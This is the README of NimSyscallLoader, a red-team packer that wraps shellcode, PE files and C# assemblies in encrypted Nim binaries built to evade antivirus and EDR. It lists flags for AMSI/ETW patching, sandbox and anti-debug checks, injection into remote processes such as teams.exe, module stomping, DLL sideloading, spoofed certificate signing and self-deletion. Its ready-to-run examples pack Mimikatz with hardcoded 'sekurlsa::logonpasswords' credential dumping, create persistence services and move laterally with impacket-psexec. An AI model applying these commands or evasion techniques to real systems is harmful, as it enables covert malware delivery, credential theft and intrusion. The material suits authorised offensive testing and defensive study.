
Conditionne des assemblages C#, des fichiers PE ou du shellcode en binaires Nim chiffrés avec des fonctionnalités avancées d'évasion incluant le contournement d'AMSI/ETW, la détection de sandbox et de multiples techniques d'injection pour des opérations d'équipe rouge.
Cet outil a été rendu public après une conférence à x33fcon. C'était mon projet de codage principal privé de 2021 à 2024 et il est maintenant considéré comme déprécié et n'est plus maintenu. N'attendez pas de corrections de bugs ou de nouvelles fonctionnalités de ma part. À la place, RustPack est maintenant maintenu en tant que version commerciale et contrôlée pour les Red Teams et Pentesteurs vérifiés, encore plus riche en fonctionnalités mais aussi bien plus sûr pour l'OPSec.
Ce packer peut être utilisé pour empaqueter n'importe quel assembly C#, fichier PE ou shellcode dans un binaire Nim. Il chiffre la charge utile cible, génère le code source Nim correspondant selon les arguments donnés et le compile en un binaire Nim.
Une vidéo – si vous préférez – est disponible ici : https://youtu.be/0PwIn3Nxmgo
Git doit être installé pour que Nim/Nimble fonctionne correctement.
Testé avec Nim 2.2.10 et le bundle MinGW-w64 GCC 11.1.0 lié depuis la page de téléchargement Windows de Nim. Les versions plus récentes de Nim utilisent par défaut une image base PE élevée sous Windows, ce qui casse les liens -static avec relocation truncated to fit: R_X86_64_32S against .bss ; le packer force désormais -Wl,--image-base=0x10000 pour que les builds statiques restent fonctionnels, donc toute version de MinGW-w64 11.x devrait convenir. Seul le x64 est pris en charge ici — x86/--x86/--wow64 n'est pas maintenu.
Expand-Archive intégré de Windows — il supprime silencieusement lib\system.nim à cause d’un conflit de casse avec le dossier lib\system\). L'archive zip de Nim contient bin\7zG.exe que vous pouvez utiliser pour extraire MinGW.<nim>\bin et <mingw64>\bin à votre %PATH%. Déconnectez-vous/reconnectez-vous (ou redémarrez votre terminal) pour que le changement soit pris en compte.Versions connues pour fonctionner (en date de Nim 2.2.10) : nimcrypto 0.6.0, docopt 0.7.1, ptr_math 0.3.0, winim 3.9.4, nim-strenc (HEAD — le dépôt n'a pas de versions marquées).
If you want to use the LLVM obfuscator on Windows, use the embedded modified denim version from denim. Install it via denim\denim.exe setup.
E.g. on Kali / Debian. The packer historically required nim 1.6.8 + mingw-64 8.0.0-1; with the static-link --image-base=0x10000 workaround now baked in, newer toolchains should work too. The Windows build is what's actively tested — Linux is best-effort.```bash
apt-get install nim mingw-w64
nimble install [email protected] docopt ptr_math winim https://github.com/S3cur3Th1sSh1t/nim-strenc/
Si `--hellsgate` échoue à l'assemblage sur un mingw-w64 plus récent, rétrogradez vers `mingw-64=8.0.0-1`.
Installez donut via `pip3 install donut-shellcode`. `denim` ne peut pas être utilisé depuis Unix, donc l'obfuscation via LLVM n'est pas possible ici. Idem pour Callobfuscator.
Compilez le Packer via `nim c -d:noRES NimSyscallLoader.nim`. Prêt à l'emploi. Si vous n'utilisez pas -d:noRES, vous pourriez obtenir l'erreur suivante :```
/username/.nimble/pkgs/winim-3.7.1/winim/lib/winim64.res:(.rsrc+0x48): dangerous relocation: collect2: fatal error: ld terminated with signal 11 [Speicherzugriffsfehler]
compilation terminated.
Doit être construit une fois (prend du temps la première fois, les builds suivants seront mis en cache).
sudo docker build . -t nimsyscallloader
Puis exécutez le packer avec :
sudo docker run -v $(pwd):/shared nimsyscallloader <ARGUMENTS> --output=/shared/packed.exe
où $(pwd) est le répertoire sur le système hôte qui est partagé avec le conteneur, c'est-à-dire le répertoire où se trouvent les fichiers à chiffrer et où la sortie sera sauvegardée.
Si vous souhaitez utiliser des certificats de signature de code via LimeLighter, vous aurez également besoin des éléments suivants installés et dans votre %PATH% : openssl - (pour Windows) par exemple depuis ici osslsigncode - par exemple depuis ici
Je ne fournirai pas de support pour les problèmes rencontrés avec les outils tiers utilisés ici. Veuillez donc ouvrir un ticket dans les dépôts correspondants si vous rencontrez des problèmes avec eux. Outils tiers utilisés :
Vous pouvez utiliser mes binaires précompilés ou bien sûr les compiler vous-même à partir des liens ci-dessus.
Une vidéo - si vous préférez - est disponible ici : https://youtu.be/UHaIgdzqHDA
J'ai également ajouté de courtes vidéos pour certaines fonctionnalités, comme cela a été demandé :
Caro-Kann :
Fonctionnalité ThreadlessInject :
Fonctionnalité Module Stomping :
Fonctionnalité shellcodeURL :
Fonctionnalité stegoFile :
Fonctionnalité shellcodeFile :
Ruy Lopez pour les processus locaux
Format de sortie Shellcode
Fonctionnalité de sortie Assembly
Et j'ai réalisé une vidéo publique montrant comment personnaliser la technique ThreadlessInject pour d'autres processus que celui par défaut :
https://youtu.be/BYuAUYQcI-E``` NimSyscall_Loader v 2.2
Usage: NimSyscall_Loader [--file=file_to_encrypt --key= --keyfile= --dnsKey --dnsdomain=<sub.example.com> --environmentalKey=<domain,username> --output= --large --metadata --shellcodeFile= --shellcodeURL= --dll --dllexportfunc= --dllhijack --noNimMain --clone= --dllProxy --cpl --xll --service --arguments=<Hardcoded_Arguments> --csharp --noAMSI --noETW --noOneShot --PatchAMSI --PatchETW --AMSIProviderPatch --AMSINtCreateSectionHook --sleep=<10> --sleep-in-between=<10> --shellcode --RWX --CallbackExecute --localCreateThread --QueueApc --noWait --COMVARETW --remoteinject --customprocess= --blockDLLs --spoofArgs= --parentProcess= --remoteprocess= --remotepatchAMSI --remotepatchETW --mapSection --unhook=<dllname1,dllname2> --reflective --obfuscate --macPayload --hide --APIhide --noArgs --peinject --peload --hellsgate --syswhispers --jump --sgn --replace --self-delete --sandbox=<check1,check2> --domain= --pump=<words,size> --obfuscatefunctions --debug --verbose --noDInvoke --x86 --wow64 --llvm --sign --signdomain= --noAntidebug --noDefaultSandBox --noAntiEmulate --sleepycrypt --fluctuate --interactivePS --psout --psobfs --pslyrics --csout --scout --sourceonly --jmpEntry --jmpEntryDLL=<example.dll> --jmpEntryFunc= --dripallocate --dripsleep= --stegofile= --ruy-lopez --threadless --threadlessDll=<dllname.dll> --threadlessFunc= --poolparty= --Caro-Kann --Caro-Kann-Thread --stomb --stombDll=<dllname.dll> --stombFunc= --stombFunc2= --restore] NimSyscall_Loader (-h | --help) NimSyscall_Loader --version
Options:
[general]
-h --help Show this screen. --version Show version. --file filename File to encrypt. --key key Key to encrypt with --keyfile keyfile File to read key from --dnsKey Use remote DNS TXT Record as key which is retrieved on runtime --dnsdomain sub.example.com Specify a subdomain to use for the DNS TXT Record --environmentalKey value Use environmental key (domain,username) to encrypt with domain -> enumerate the current domain on runtime and use that as key username -> enumerate the current username on runtime and use that as key --killdate yyyymmdd Specify an date, after which the payload won't get executed anymore --output filename Filename for encrypted exe/dll --arguments hardcodedArgs compile the following arguments to the encrypted exe/dll --metadata Set custom resource file information (cmd icon, CMD description, ntdll metadata for dlls by default) --noETW Don't use ETW Patch --noAMSI Don't patch AMSI --noArgs Don't provide any arguments to the assembly (some can only run without args) --hide Compile with --app:gui flag, so that the console won't pop up --APIhide Console won't pop up, hidden via API calls 'GetConsoleWindow' and 'ShowWindow' with 'SW_HIDE' --reflective Set compiler flags, so that the Loader Nim binary can be reflectively loaded --debug Compiles the binary in debug mode --x86 Compiles an x86 binary --wow64 (Compiles a x86 binary that can be used by x64 CPUs) --large use this for large payloads (bigger than 5MB) as you will get an error "interpretation requires too many iterations" without it --noDInvoke Don't use DInvoke - some older Windows OS Versions may crash when DInvoke is in use, e.g. Windows Server 2012. If you get "SIGSEGV: iilegal storage access. (Attempt to read from nil?)" try to use this option. --verbose Prints output to the console (for troubleshooting purposes) --psout Powershell Output format, reflectively loading the packed binary --psobfs Pre-obfuscated Powershell Template with Invoke-obfuscation. --pslyrics Add Lyrics as comments to avoid some more detections --csout C# Output format, reflectively loading the packed binary --scout Shellcode Output format, reflectively loading the packed binary via donut --sourceonly Dont compile but just create the source code and compile command --RWX Use RWX memory permissions for Shellcode and PE-Loading (instead of default RX) --service Create a Service binary or DLL, which can be used for Lateral Movement or Persistence --stegofile filepath Path to a .bmp or jpeg file in which the encrypted payload will be embedded
[Payload retrieval options]
By default, the Loader will embed the Payload into the output file. There are two alternatives to this: --shellcodeFile shellcodefileLocation(s) Filename to retrieve Payload from - on Runtime (No embedding). The first location will also be the output file location. You can specify multiple locations, separated by a comma. --shellcodeURL shellcodeURL URL to retrieve Payload from
[DLL options]
--dll Generate DLL instead of an executable --dllexportfunc exportfuncname Comma separated names of DLL custom export functions for e.g. DLL-Sideloading --dllhijack Add an DLLMain Export with DLL_PROCESS_ATTACH for Hijacking --perfectdllhijack Add DllMain and execute the Payload via "Perfect DLL Hijacking" to avoid LoaderLock issues (https://elliotonsecurity.com/perfect-dll-hijacking/) --noNimMain Remove NimMain export to avoid this IoC (Use "--dllhijack" in addition to instead export DllMain or alternatively "--dllexportfunc DllMain") --clone value Specify a local DLL to clone the API-Exports from via Koppeling --mutexoneshot Use a Mutex to ensure the payload is only executed once per process tree --dllProxy Generate a DLL-Proxying DLL - you need to put the legit DLL into the build directory. Two output DLLs will be generated: The proxy DLL and the randomly renamed legit DLL. (Credit to @byt3bl33d3r - https://github.com/byt3bl33d3r/NimDllSideload) --payloadFunction funcName The function to execute the Payload with to not use DllMain --noRandom Don't randomize the DLL-Name but forward to the original DLL instead (No need to copy the original DLL, only works for builtin windows DLLs) --cpl Generate a CPL file (Control Panel Applet) instead of an executable --xll Generate an XLL file (Excel Add-In) instead of an executable
[evasion]
--sleep 10 Sleep 10 seconds before decryption to evade memory scanners --sleep-in-between 10 Sleep 10 seconds at some potentially critical steps in between to evade memory scanners --COMVARETW Block ETW by setting COMPlus_ETWEnabled to 0 --unhook value Unhook the specified DLL before doing anything else for the current process --obfuscate Compile the Nim binary via Denim to make use of LLVM obfuscation --macPayload Convert the encrypted Shellcode to MAC-Adresses to reduce entropy (for embedded Payloads only) --sgn Encode shellcode via SGN before encrypting it --replace Replace common nim IoC's in the loader like the string 'nim' --noOneShot By default the Packer uses Hardware Breakpoints to bypass AMSI, but disables it after the payload has been executed. If you want to keep it enabled for the current Thread, use this option. --PatchAMSI Bypass AMSI by patching an offset of amsi.dll/AmsiScanBuffer via Syscalls --PatchETW Bypass ETW by patching ntdll.dll/NtTraceEvent via Syscalls --AMSIProviderPatch Patch all AMSI Providers instead of 'amsi.dll' (https://i.blackhat.com/Asia-22/Friday-Materials/AS-22-Korkos-AMSI-and-Bypass.pdf) --AMSINtCreateSectionHook Hook NtCreateSection to prevent 'amsi.dll' from being loaded (https://waawaa.github.io/es/amsi_bypass-hooking-NtCreateSection/) --sandbox value Include Sandbox Checks of your choice into the loader: Domain -> Only execute if the target domain is == the --domain parameter's domain / If --domain is not set, it will only execute on non-domain joined systems DomainJoined -> Only execute if the target is connected to ANY domain - you don't need to know the target's domain for this one DiskSpace -> Only execute if c:\ disk space >= 200GB MemorySpace -> Only execute if more than 4GB RAM available Emulated -> VirtualAllocExNuma API call (Some sandboxes do not emulate that) WindowChanges -> Checks, if the current Window has changed 7 or more times before executing the payload --domain targetdomain Specify a domain for SandBox Evasion --pump value Pump the file with: words -> english dictionary words to increase the reputation for "mashine learning" evasion (https://twitter.com/hardwaterhacker/status/1502425183331799043) reputation -> Pump reputation with strings from well known binaries e.g. Chrome,Cortana,Discord and some others --self-delete The loader deletes it's own executable on runtime (Credit to @byt3bl33d3r and @jonasLyk) --obfuscatefunctions Obfuscate some Nim specific Windows API's from the IAT via CallObfuscator (https://github.com/d35ha/CallObfuscator - only possible from a Windows OS) --sign Sign the binary with a spoofed certificate --signdomain www.example.com The domain to use for the certificate (default is ) --llvm Add compiler flags for LLVM obfuscation, you have to set it up by yourself --sleepycrypt Encrypt the memory of the loader with SleepyCrypt # experimental (Pre-Alpha, not working yet for C2-Stager) --fluctuate Enable ShellcodeFluctuation for local shellcode injection and PE-Loading (Alpha) - no support for remote injection This will only work for C2-Payloads, that use Win32 Sleep in between connection attempts, as that is hooked --noAntidebug Leave out AntiDebugger Checks --noDefaultSandBox Leave out default Sandbox Checks --noAntiEmulate Leave out AntiEmulation Checks --jmpEntry This option will enable a custom Shellcode Entrypoint from a DLL backed function to avoid unbacked memory as Thread/APC start address. The target function will be hooked with a JMP to the Shellcode --jmpEntryDLL value Specify a DLL to use for the custom Shellcode Entrypoint --jmpEntryFunc value Specify a function to use for the custom Shellcode Entrypoint --ruy-lopez Use Ruy-Lopez to prevent AV/EDR DLLs from being loaded into the local or newly spawned process. (Doesnt work for injection into existing processes)
[Syscall retrival technique to use, default is GetSyscallStub to retrievethe stubs from disk]
--hellsgate Retrieve Syscalls via Hellsgate technique --syswhispers Embed Syscalls via Syswhispers3 (NimLineWhispers3) technique --jump When using Syswhispers3, use the jumper_randomized technique
[shellcode specific]
--shellcode Encrypt shellcode to load it on runtime --dripallocate Allocate memory Driploader style (multiple small memory chunks after another to avoid memory scans after ETWti/Kernel Callback triggers) --dripsleep 500 Sleep time in ms between each memory allocation (e.G. 500 milisec) --CallbackExecute Execute shellcode via a custom Callback function --localCreateThread Use NtCreateThreadEx for local injection instead of a direct pointer to the shellcode --QueueApc Instead of a direct Pointer or Thread Creation execute the Shellcode via NtQueueApcThread --noWait Don't use 'WaitForSingleObject(-1,-1)' after local Injection but exit the process instead afterwards. If your Shellcode exits the Thread/Process itself, this will not have any effect. --mapSection Map the shellcode into via NtCreateSection/NtMapViewOfSection . For remote injection decryption will happen AFTER writing the Shellcode into the remote process --remoteinject Inject shellcode a newly spawned process (default notepad) / otherwise it's self injection --customprocess procname Spawn a custom process (instead of notepad) for remote injection --remoteprocess procname Injects into the specified (existing) remote process name, e.g. teams.exe. The loader searches for the first process with that name Can be used for multiple process names, e.g. --remoteprocess=teams.exe,iexplore.exe,MicrosoftEdge.exe -> First try teams, else Internet Explorer, last Edge --spoofArgs ArgstoSpoof Spoof the arguments of the process to inject into --parentProcess parentProcName Name of the parent Process to spoof (PPID Spoofing) --blockDLLs Set the DllBlocklistPolicy to 1 to prevent DLLs from being loaded --remotepatchAMSI Patch AMSI in the remote process before shellcode execution --remotepatchETW Patch ETW in the remote process before shellcode execution --threadless Use Threadless inject for shellcode execution (https://github.com/CCob/ThreadlessInject) --threadlessthread Use Threadless inject but the trampoline will create a thread instead of CALL to the target address (no impact on the target process but additional IoC) --threadlessDll dllname Specify a DLL to use for the Threadless inject hook --threadlessFunc dllfunc Specify a function to use for the Threadless inject hook --poolparty number Use Poolparty technique 1,2,3,4 for execution --conhostinject Inject into a remote conhost.exe process and trigger execution without Thread or APC or similar --Caro-Kann Use Caro-Kann technique to bypass initial memory scan detections by injecting a second shellcode which sleeps and decrypts (https://github.com/S3cur3Th1sSh1t/Caro-Kann) --Caro-Kann-Thread Same as Caro-Kann, but the Shellcode will not do a direct JMP but instead create a Thread on the start address --stomb Enable Module Stomping to not do memory allocations. By default, 'chakra.dll' is loaded and stomped. --stombDll dllname Specify a DLL to use for the Module Stomping (default is 'chakra.dll') --stombFunc dllfunc Specify a function to use for the Module Stomping --stombFunc2 dllfunc2 Specify a second function to use for the Module Stomping. Only needed if you combine Caro-Kann with Module Stomping as there are two shellcodes than --restore Using this option will restore the .text section of the stomped DLL after executing the shellcode. That way, you get rid of Module Stomp IoCs. But this option only works with Payloads, that are reflective DLLs or which create a new thread.
[PE Packing]
--peinject Encrypt a PE to decrypt and run it on runtime as shellcode via donut --peload Encrypt a PE to decrypt it on runtime and execute it via a syscall variant of Run-PE
[C# assembly Packing]
--csharp Encrypt a C# assembly to load it on runtime --interactivePS Load an interactive unmanaged Powershell Runspace
Par défaut, le Packer utilise des fonctionnalités de contournement de bac à sable (SandBox evasion) et d'AntiDebug pour chaque Payload. Si vous ne souhaitez pas qu'elles soient activées (par exemple pour supprimer leurs IoC) ou pour toute autre raison, vous pouvez utiliser les indicateurs `--noAntidebug` ou `--noDefaultSandBox`. Tout autre contrôle SandBox provenant des options sera ajouté en plus des contrôles existants, et non en remplacement.
Tous les Payloads sont par défaut exécutés dans une région mémoire `RX`. Certains Payloads ne fonctionneront pas avec uniquement `READ_EXECUTE`. Pour utiliser `RWX` à la place, vous pouvez l'activer avec l'indicateur `--RWX`.
De plus, par défaut, les Payloads sont intégrés dans le binaire résultant sous forme de tableau chiffré. Cela entraîne une entropie élevée et peut également conduire à des détections par certains fournisseurs AV/EDR à cause de cela. Je recommande plutôt d'utiliser `--shellcodeFile` ou `--shellcodeURL` pour récupérer le Payload depuis un fichier ou un serveur Web différent lors de l'exécution. Cela entraîne également un contournement de bac à sable comme effet secondaire. Par exemple lors de l'utilisation de :```batch
NimSyscallLoader --file calc.bin --shellcodeFile test.txt --output test.exe
```, the encrypted Payload will be retrieved from `test.txt` on runtime. So this second file also needs to be placed onto the target system.
Si vous n'êtes pas pressé, je peux également recommander d'utiliser les options `--sleep numberOfSeconds` et/ou `--sleep-in-between numberOfSeconds` pour tout Payload, car cela permettra de contourner les scans mémoire et/ou les détections basées sur le comportement.
Pour empaqueter Mimikatz par exemple avec unhooking avant l'exécution et sans contourner AMSI, utilisez ce qui suit :```batch
NimSyscallLoader --file=mimikatz.exe --unhook --noAMSI --peinject
Certains d'entre vous ont rencontré des problèmes pour charger Mimikatz avec le packer via les arguments "--file=Mimikatz --peload" pour ensuite exécuter des commandes personnalisées au moment de l'exécution.
J'ai trouvé la raison de ce comportement. Ne me demandez pas pourquoi, mais vous ne pouvez pas simplement prendre la version de Github, vous devez compiler Mimikatz vous-même (ou créer une version personnalisée) et charger celle-ci au lieu de la version officielle. Utilisez également --noAntidebug pour Mimikatz, car sinon, cela produit des résultats étranges (ne me demandez pas pourquoi, d'autres PE se chargent correctement).
Si vous voulez toujours intégrer la version de Github, vous pouvez directement passer des arguments comme ceci :```batch Packedmimikatz.exe coffee exit
Vous pouvez également coder en dur les arguments pour `--peload`, `--csharp` ou `--peinject` payloads, par exemple ce qui suit modifierait les arguments de la ligne de commande pour qu'ils soient `privilege::debug sekurlsa::logonpasswords exit`:```batch
NimSyscallLoader --file mimikatz.exe --peload --RWX --arguments "privilege::debug sekurlsa::logonpasswords exit" --noAntidebug
Le shellcode Donut est détecté par certains fournisseurs d'AV/EDR. Comme alternative pour le chargement de PE, j'ai modifié mon Nim-RunPE pour utiliser des appels système pour le chargement de PE et je l'ai intégré ici :
Pour empaqueter Mimikatz par exemple et le charger via le chargeur de PE par appels système, utilisez ce qui suit :```batch NimSyscallLoader --file=mimikatz.exe --peload --RWX (RWX is important here, as many binaries have problems being executed with only READ_EXECUTE permissions, which is default)
Pour empaqueter du Shellcode pour injection locale :```batch
NimSyscallLoader --file=shellcode.bin --noAMSI
Pour charger un shellcode dans un processus distant :```batch NimSyscallLoader --file=shellcode.bin --noAMSI --remoteprocess=teams.exe
Pour charger un assembly C# :```batch
NimSyscallLoader --file=Seatbelt.exe --csharp
Pour charger un assembly C# avec des arguments :```batch NimSyscallLoader --file=Rubeus.exe --csharp --arguments='hash /password:Aa1234'
Pour charger un assembly C# et utiliser hellsgate pour la récupération de Syscall :```batch
NimSyscallLoader --file=Seatbelt.exe --csharp --hellsgate
Pour emballer le Shellcode pour injection locale + utilisation de hellsgate + auto-suppression + vérifications de sandbox :```batch NimSyscallLoader --file=beacon.bin --hellsgate --self-delete --sandbox=DomainJoined,MemorySpace
Pour ajouter plusieurs milliers de mots anglais pour contourner les détections "apprentissage automatique" :```batch
NimSyscallLoader --file=Seatbelt.exe --csharp --pump=words
Pour utiliser Syswhispers3 avec/sans la technique jumper_randomized :```batch NimSyscallLoader --file=calc.bin --syswhispers NimSyscallLoader --file=calc.bin --syswhispers --jump
Pour encoder un shellcode avec sgn avant de le chiffrer :```batch
NimSyscallLoader --file=calc.bin --sgn
NimSyscallLoader --file=mimikatz.exe --peinject --sgn
Pour générer un processus personnalisé et y injecter ensuite + Patch AMSI/ETW dans le processus distant :```batch NimSyscallLoader --file=calc.bin --remoteinject --customprocess rundll32.exe --remotepatchAMSI --remotePatchETW
Pour générer une DLL en sortie au lieu d'un exécutable, il suffit d'ajouter le paramètre `--dll`. Vous pouvez également définir des fonctions d'export personnalisées via `--dllexportfunc Export1,ExportFunc2`. Ces exports personnalisés peuvent également être utilisés pour le sideloading de DLL.
Description LLVM volée depuis [https://github.com/icyguider/Nimcrypt2](https://github.com/icyguider/Nimcrypt2) - Je n'ai pas encore testé cela moi-même !
**OPTIONNEL :** Pour utiliser le flag [Obfuscator-LLVM](https://github.com/heroims/obfuscator), vous devez l'avoir installé sur votre système en plus de [wclang](https://github.com/tpoechtrager/wclang). J'ai trouvé cela un peu pénible mais vous devriez pouvoir le faire avec un peu de persévérance. Voici un petit guide pas à pas qui a fonctionné sur mon système Kali Linux :
1. Clonez la version souhaitée d'Obfuscator-LLVM et compilez-la
2. Une fois compilé, sauvegardez la version existante de clang et déplacez la nouvelle version d'Obfuscator-LLVM de clang vers /usr/bin/
3. Installez wclang et ajoutez ses binaires à votre PATH
4. Sauvegardez les fichiers de bibliothèque clang existants, copiez les includes de la bibliothèque nouvellement construite d'Obfuscator-LLVM vers /usr/lib/clang/OLD_VERSION/
De plus, vous devez ajouter les lignes suivantes à votre fichier `nim.cfg` pour pointer nim vers vos binaires wclang :```
amd64.windows.clang.exe = "x86_64-w64-mingw32-clang"
amd64.windows.clang.linkerexe = "x86_64-w64-mingw32-clang"
amd64.windows.clang.cpp.exe = "x86_64-w64-mingw32-clang++"
amd64.windows.clang.cpp.linkerexe = "x86_64-w64-mingw32-clang++"
Les binaires de service ne s'exécutent pas à la volée. Ils peuvent simplement être utilisés pour les Windows Services. Donc si vous compilez un binaire de service avec --service, vous devrez créer un nouveau service avec l'emplacement de ce binaire. Cela peut être fait par exemple comme ceci :```batch
sc.exe create Updater binpath="C:\windows\system32\service.exe"
sc.exe start Updater
Les binaires Packer peuvent également être utilisés pour le mouvement latéral via impacket-psexec:```
impacket-psexec muster.local/admin:password@IP -c service.exe -remote-binary-name service.exe -service-name lateralmovement
Les DLL de service nécessitent des configurations supplémentaires. Vous pouvez lire le blog suivant et avez besoin de quelques modifications du Registre :```batch sc.exe create Updater binPath= "c:\windows\System32\svchost.exe -k DcomLaunch" type= share start= auto reg add HKLM\SYSTEM\CurrentControlSet\services\Updater\Parameters /v ServiceDll /t REG_EXPAND_SZ /d C:\windows\system32\service.dll /f
De plus, la valeur `Computer\HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Svchost` - `DcomLaunch` doit être ajustée pour inclure également votre nom de service.
Si vous recevez l'ERREUR 1053 au démarrage du service, vous avez très probablement oublié la dernière entrée.
### Gestion des binaires Golang avec le Packer
Mon implémentation personnalisée de `Nim-RUNPE` ne peut malheureusement pas gérer les binaires GoLang pour le moment. C'est un bug étrange dans Nim, je dois creuser plus profondément un jour. C'est définitivement un terrier de lapin, j'y ai déjà passé beaucoup de temps.
Pour l'instant, comme solution de contournement, vous pouvez utiliser `--peinject --large` pour générer du shellcode à partir du binaire golang afin de l'exécuter localement soit en tant qu'exécutable, soit en tant que DLL.
Exemple :```batch
NimSyscallLoader --file chisel.exe --peinject --large --output ChiselPacked.exe
or
NimSyscallLoader --file chisel.exe --peinject --large --dll --arguments "client https://chisel-demo.herokuapp.com 3000" --output ChiselPacked.dll
You have to pass hardcoded arguments when using a DLL, because PEInject DLLs don't accept arguments from the target host. Remote injection is also possible but arguments cannot be hardcoded here.
Defender detects Golang Packed binaries at the moment, pretty sure because of the very HIGH entropy (big payloads, so the binary contains 95% or more encrypted content). To avoid theese detections use either a DLL or --pump with any value.
You can generate DLL-Sideloading capable Payloads with the flag --clone DLLName.
For example the following would generate a version.dll with the API Exports of the original Windows version.dll:```batch
NimSyscallLoader.exe --file C:\dontscan\calc64thread.bin --dll --clone C:\windows\system32\version.dll --output version.dll
Cela pourrait être utilisé pour divers binaires signés légitimes pour le Sideloading, comme `OneDriveUpdater.exe`, `slllauncher.exe` et plus encore. Certains points sont importants à noter et vous devez en tenir compte :
* L'utilisation de Shellcode avec Exitfunction=Process entraînera très probablement un crash du binaire hôte
* L'injection locale entraînera un binaire qui ne démarre pas, car la DLL ne terminera pas son exécution pour les charges utiles C2
* Il existe actuellement un bug ou un problème avec les charges utiles C# et le Sideloading Nim. Ces charges utiles ne sont tout simplement pas exécutées en local (`--csharp` ou `--peinject`), à investiguer
* Je ne peux pas recommander d'utiliser les charges utiles de Sideloading DLL Nim avec Teams.exe - j'ai eu des comportements étranges avec certaines DLL et Teams ne démarrait plus dans de nombreux cas. Il est également détecté par de nombreux éditeurs EDR entre-temps
* TESTEZ vos charges utiles avant de les utiliser.
Prenez le temps de chercher des binaires de Sideloading personnalisés ou utilisez certains de ceux connus et documentés à partir d'un endroit comme [https://hijacklibs.net/](https://hijacklibs.net/).
### Images personnalisées ou métadonnées
Si vous souhaitez utiliser des icônes personnalisées pour vos exécutables de chargeur ou des métadonnées personnalisées, vous devez modifier le fichier `cmd.rc` dans le dossier resources.
Cela peut être compilé en un fichier `cmd.o` via `windres cmd.rc -o cmd.o`. Vous pouvez aussi simplement remplacer le fichier `demo.ico` par n'importe quel autre fichier ICON que vous souhaitez utiliser.
Pour les métadonnées DLL, vous pouvez modifier `DLL.rc`.
### Autres détections d'entropie ou évasion alternative de SandBox
Certains fournisseurs, comme ESET, marquent les binaires/DLL en raison de la charge utile cryptée présente dans le binaire sous forme de blob à haute entropie. Ces types de détections et/ou contrôles de SandBox peuvent être contournés avec les flags `--shellcodeFile` ou `--shellcodeURL`, car la charge utile n'est alors plus intégrée dans le binaire résultant mais chargée à partir d'un fichier séparé ou d'un serveur Web distant.
### ThreadlessInject - éléments à prendre en compte
Si vous souhaitez utiliser ThreadlessInject - vous devez savoir ce que vous faites. Comme il accroche une API dans le processus distant, cette technique doit être ajustée pour chaque processus distant différent. Vous devez d'abord savoir quelles APIs sont typiquement appelées régulièrement par le processus distant pour savoir quoi accrocher. Vous pouvez par exemple surveiller cela pour les processus Windows courants via [API Monitor](http://www.rohitab.com/apimonitor). Ajustez le hook à votre processus cible, sinon la charge utile ne s'exécutera pas.
Les valeurs par défaut ne sont utiles que pour la cible intégrée spawn/inject `rundll32.exe`, car ce processus appelle régulièrement `NtWaitForMultipleObjects` de `ntdll.dll`. D'autres processus appellent aussi cette fonction, mais la recommandation ici est d'ajuster les options à votre processus cible.
### Module Stomping - éléments à prendre en compte
Le Module Stomping nous donne l'avantage de ne plus allouer de mémoire pour l'injection de shellcode, car nous écrasons (une partie) de la section `.text` d'une DLL déjà chargée. Si la DLL n'était pas déjà chargée dans le processus distant cible, elle sera d'abord forcée à être chargée via la création d'un thread distant sur `LoadLibrary` ou lors de l'utilisation de ThreadlessInject via un hook pointant vers un shellcode LoadLibrary personnalisé. Par défaut, la DLL `chakra.dll` est utilisée pour le Stomping, ce qui est dans la plupart des cas approprié en raison de sa taille. Cependant, vous pouvez changer la DLL via les paramètres du Packer comme vous le souhaitez.
Pour éviter CFG, l'implémentation actuelle écrase un (ou avec Caro-Kann activé deux) points d'entrée de la DLL :
- `JsRunScript`
- `MemProtectHeapUnprotectCurrentThread`
Si vous changez la DLL, vous devrez également changer les noms des fonctions cibles, car elles peuvent ne pas exister sur d'autres DLL. Aussi, cela pourrait poser problème s'il y a soit
1. Pas assez d'espace dans la section `.text` de la DLL cible pour votre Shellcode
2. Pas assez d'espace entre les deux fonctions dans la section `.text`, de sorte que la première soit écrasée par la seconde
Mon code ne gère pas ces situations et ne les vérifie pas actuellement. Vous devriez donc vérifier les tailles et les décalages avant de l'utiliser en production pour être sûr.
Aussi, cela peut être évident pour certains d'entre vous mais les serveurs utilisent des DLL différentes des clients. Le chargeur/outil doit donc être ajusté lors du ciblage de serveurs.
Cette implémentation de Module Stomping ne charge **pas** la DLL via `LoadLibraryEx` avec `DONT_RESOLVE_DLL_REFERENCES`. C'est la manière la plus instable de le faire, mais je l'ai quand même implémentée ainsi pour se débarrasser des détections EDR pour des IoC spécifiques de cette utilisation d'API.
Pour plus d'informations, lisez cet article de blog :
- [https://bruteratel.com/release/2023/03/19/Release-Nightmare/](https://bruteratel.com/release/2023/03/19/Release-Nightmare/)
### Chiffrement mémoire
Actuellement, le Packer intègre deux techniques de chiffrement mémoire. Il s'agit soit de `--fluctuate` pour ShellcodeFluctuation soit de `--sleepycrypt` pour SleepyCrypt.
ShellcodeFluctuation ne peut actuellement être utilisé que pour les charges utiles C2 qui utilisent Win32 Sleep car il accroche cette fonction. Dans ce cas, seul le Shellcode sera chiffré dans la pile chaque fois que l'implant se met en veille.
SleepyCrypt chiffrera non seulement le Shellcode mais toute la pile PE, c'est-à-dire toutes ses sections. L'inconvénient est que le chiffrement est indépendant de votre implant et aura lieu à une durée fixe, par exemple 10 secondes de chiffrement et une seconde de temps d'exécution. Cela peut entraîner des problèmes d'exécution pour certains frameworks C2.
### Pourquoi mon MSF ou CobaltStrike ou XxX est-il toujours détecté ?
Lisez ceci :
[https://s3cur3th1ssh1t.github.io/Signature_vs_Behaviour/](https://s3cur3th1ssh1t.github.io/Signature_vs_Behaviour/)
## Bugs connus
- L'utilisation de `--hellsgate` sur des systèmes Linux avec une version récente de mingw-gcc échouera à la compilation
- Compilez le Packer sur Linux/Debian avec `-d:noRES` pour éviter les erreurs de compilation
- `--syswhispers --jump` en combinaison avec `--peload` provoque un crash. Pour le moment, je ne peux que recommander de ne pas utiliser cette option car je n'ai aucune idée d'où vient cet effet secondaire
- `--obfuscate` ne gère pas bien les stubs ASM et ne peut donc pas compiler les binaires avec `--hellsgate` ou `--syswhispers`
- XP/WS2k3 fonctionnera uniquement avec les flags `--syswhispers --noAntidebug --noDInvoke`
- `--x86` / `--wow64` n'est plus maintenu et actuellement cassé avec la chaîne d'outils MinGW-w64 fournie (non multilib). Utilisez les builds x64.
